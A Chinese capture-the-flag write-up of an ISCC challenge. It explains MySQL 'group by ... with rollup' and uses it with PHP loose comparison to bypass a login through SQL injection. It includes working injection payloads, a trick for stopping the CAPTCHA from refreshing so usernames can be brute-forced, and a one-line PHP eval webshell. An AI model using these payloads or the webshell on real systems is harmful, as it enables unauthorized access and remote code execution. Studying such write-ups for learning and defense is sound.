题记
继续未完成的使命和历程,借助iscc线下攻防赛的复现,窥探一下攻防赛的思路与技巧。
正文
首先打开界面发现一个登陆界面一个注册界面,先看一个注册界面得源码如下:
<html>
<head>
<title>注册</title>
</head>
<body>
<h1 style='text-align:center'>注册</h1>
<div style="text-align:center">
<form action="register.php" method="GET">
用户名:iscc_<input type="text" name="uname" placeholder="请输入四位数字" />
<br/><br/>
密码:<input type="password" name="pwd"/>
<br/><br/>
<input type="submit" value="注册">
</form>
</div>
</body>
</html>
看主界面发现这是个提示,也就是真正得用户名是iscc+四位数字,并且注册功能已经关闭了。我们随便输入密码,用户名登陆,并用bp抓包。
查看返回包发现一个hint.txt,这是个提示,我们找到这个文件,如下
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql);
if (mysqli_num_rows($query) == 1) {
$key = mysqli_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
echo "xxxxxxxxx";
}else{
echo "你这密码不太对啊";
}
}else if(mysqli_num_rows($query) == 0){
echo "你这密码不太对啊";
}
else{
echo "数据太多了";
}
这应该是题目的部分源码,可以看出这里的逻辑就是,我们必须要使得提交的密码与查询出来的结果相同,但是这里的比较用的是==
,也就是只需要满足弱类型比较下相等即可。
那么按照常规的思路,就是盲注注出密码,但是因为大多数关键词都被过滤了,所以盲注的思路在这里不可行。
group by与with rollup的妙用
这时要用到 mysql 中的 group by
的 with rollup
子句进行巧妙绕过。
group by ... with rollup
本身当然不是为了方便我们注入而设计的,这个语句在 sql 的数据统计方面有着很强大的功能,在这里简单介绍一下。
我这里用自己手里的 2004-2017 年全国 259 所高校在某地区招生数据做一下演示。
我们知道 group by
语句可以实现对查询的结果分类,比如如果我们想要统计各类高校各有多少所,可以这样:
mysql> select TYPE,count(NAME) from university where YEAR=2017 group by TYPE;
+--------------------------------------------------------------+-------------+
| TYPE | count(NAME) |
+--------------------------------------------------------------+-------------+
| | 135 |
| 211高校/一流大学建设高校 | 3 |
| 211高校/一流学科建设高校 | 30 |
| 211高校/一流学科建设高校/教育部直属 | 36 |
| 211高校/双一流建设学科/教育部直属 | 3 |
| 211高校/教育部直属 | 1 |
| 985高校/211高校 | 2 |
| 985高校/211高校/一流大学建设高校 | 7 |
| 985高校/211高校/一流大学建设高校/教育部直属 | 31 |
| 985高校/211高校/教育部直属 | 1 |
| 一流学科建设高校 | 9 |
| 教育部直属 | 1 |
+--------------------------------------------------------------+-------------+
如果我们还想在最后一行输出一下一共有多少所高校,就可以使用 with rollup
子句,他将在最后添加一行数据,用来显示上面的数据的 “汇总” ,注意这个汇总并不是 求和
,后面会解释。
mysql> select TYPE,count(NAME) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+-------------+
| TYPE | count(NAME) |
+--------------------------------------------------------------+-------------+
| | 135 |
| 211高校/一流大学建设高校 | 3 |
| 211高校/一流学科建设高校 | 30 |
| 211高校/一流学科建设高校/教育部直属 | 36 |
| 211高校/双一流建设学科/教育部直属 | 3 |
| 211高校/教育部直属 | 1 |
| 985高校/211高校 | 2 |
| 985高校/211高校/一流大学建设高校 | 7 |
| 985高校/211高校/一流大学建设高校/教育部直属 | 31 |
| 985高校/211高校/教育部直属 | 1 |
| 一流学科建设高校 | 9 |
| 教育部直属 | 1 |
| NULL | 259 |
+--------------------------------------------------------------+-------------+
大家可能发现了,在最后一行的数据中,除了数据的汇总,还有一个 NULL
,这个NULL
是用来表示非统计字段的。
那下面来解释一下,为什么说汇总不是 求和 ,假如我现在想查询各个类型的高校 2017 年在该地区的平均录取分数,并在最后输出所有高校的平均分:
mysql> select TYPE,avg(AVERAGESCORE) from university WHERE YEAR=2017 group by TYPE WITH ROLLUP;
+--------------------------------------------------------------+--------------------+
| TYPE | avg(AVERAGESCORE ) |
+--------------------------------------------------------------+--------------------+
| | 506.14814814814815 |
| 211高校/一流大学建设高校 | 526 |
| 211高校/一流学科建设高校 | 560.8333333333334 |
| 211高校/一流学科建设高校/教育部直属 | 568.9722222222222 |
| 211高校/双一流建设学科/教育部直属 | 563.3333333333334 |
| 211高校/教育部直属 | 594 |
| 985高校/211高校 | 287.5 |
| 985高校/211高校/一流大学建设高校 | 638 |
| 985高校/211高校/一流大学建设高校/教育部直属 | 551.3870967741935 |
| 985高校/211高校/教育部直属 | 0 |
| 一流学科建设高校 | 437.6666666666667 |
| 教育部直属 | 605 |
| NULL | 525.7837837837837 |
+--------------------------------------------------------------+--------------------+
可以看到,最后一行的结果并不是上面查询的结果的和,而是上面数据的平均值。
这样我们就可以看出,with rollup 子句,对数据进一步处理的方式,是由查询数据时,对数据处理使用的函数决定的。
如何绕过
我们继续看题目的源码,如下
$sql="SELECT pwd FROM user WHERE uname = '{$_POST['uname']}'";
$query = mysqli_query($con,$sql);
if (mysqli_num_rows($query) == 1) {
$key = mysqli_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
echo "xxxxxxxxx";
}else{
echo "你这密码不太对啊";
}
既然我们无法猜出密码到底是什么,那么我们可不可以控制查询的结果是我们自己已知的呢?结合上面对group by ... with rollup
语句的介绍,我们可以想到,我们可以控制查询的结果为NULL
,再结合 PHP 的弱类型 null==''
,就可以成功绕过了。
那么我们接下来只需要构造 payload,使得查询结果为 NULL
, 但是要想使用group by ... with rollup
构造出NULL
的一个前提条件,就是查询出的结果不为空,那么我们就需要使 uname = '{$_POST['uname']}'
这个条件成立,满足这个条件了,再结合limit
和offset
很容易就可以返回的结果为NULL
。
那么如何满足这个前提条件呢?
姿势一
结合我们已经掌握的信息,在注册页面我们已经知道账户的格式是 ISCC_+四位数字
,这里其实很明显是要我们去爆破,找到这个用户名,而登录的位置存在验证码,正常来讲是不能够爆破的,但是使用 Burpsuite 简单测试一下可以发现,网站并不是在用户提交表单后、判断验证码正确性之后就直接在后端生成新的验证码返回给前端,而是在前端进行请求,进行验证码的更新。也就是说,只要我们拦截/不发送这个请求,验证码就不会更新!
那么我们就可以进行爆破了,构造好 payload:
uname=iscc_0001'group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465
然后使用 Burpsuite 爆破即可。
在
uname=iscc_7980' group by pwd with rollup limit 1 offset 1#&pwd=&yzm=6465
这个payload的回显中发现注入成功。
姿势二
其实我们可以更轻松地满足 uname = '{$_POST['uname']}'
,就是利用 SQL 的弱类型,具体情况与 php 类似,我简单举几个例子,相信大家就能明白了。
mysql> select 'aaaa' = 0;
+------------+
| 'aaaa' = 0 |
+------------+
| 1 |
+------------+
1 row in set, 1 warning (0.00 sec)
mysql> select 'aaaa11' = 0;
+--------------+
| 'aaaa11' = 0 |
+--------------+
| 1 |
+--------------+
1 row in set, 1 warning (0.00 sec)
mysql> select '20aaaa' = 20;
+---------------+
| '20aaaa' = 20 |
+---------------+
| 1 |
+---------------+
1 row in set, 1 warning (0.00 sec)
sql在一个数值和字符串进行比较的时候,会将字符串转换成数值,观察上述代码,"aaaa"=0 比较的时候,会将aaaa转化成数值,强制转化,由于aaaa是字符串,转化的结果是0自然和0相等。
"20aaaa"==20 比较的时候会将20aaaa转化成数值,结果为20,而“aaaa11“=0 却为true,也就是"aaaa11"被转化成了0。
于是我们可以构造'1'^1
=1^1
=0
=字母开头的字符串,使条件被满足。
于是最后的payload:
uname=1'^1 group by pwd with rollup limit 1 offset 1#&pwd=
或者
cc'^0 group by pwd with rollup limit 1 offset 1#&pwd=
只要最终为true就行
拼接后的 sql 语句就是:
SELECT pwd FROM user WHERE uname = '1'^1 group by pwd with rollup limit 1 offset 1#
SELECT pwd FROM user WHERE uname = 'cc'^0 group by pwd with rollup limit 1 offset 1#
getflag
成功注入后,会输出一个字符串
+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-
是 utf-7 格式编码的 webshell 地址,写个python脚本进行解码
s='+ADg-d+ADIAMA-d+ADUANw-e+ADI-f+ADIAYgA5AGI-e+ADUALw-f+AGIAMwAw-e+ADcAMA-f+ADcAOAAxADMANAA4ADk-dd+AGE-e+ADcAOQBi-e+ADAANwA5ADIANQBhADMANABhAC4AcABoAHA-'
t=s.decode('utf-7')
print t
得到webshell的地址,接下来就可以开打了
<?php
show_source(__FILE__);
@eval($_POST['pass']);?>
Think in Think
sql注入的本质还是通过绕过,巧妙构造来利用,这个是不会变的,而我们测试的需要注意的是耐心与条理并行!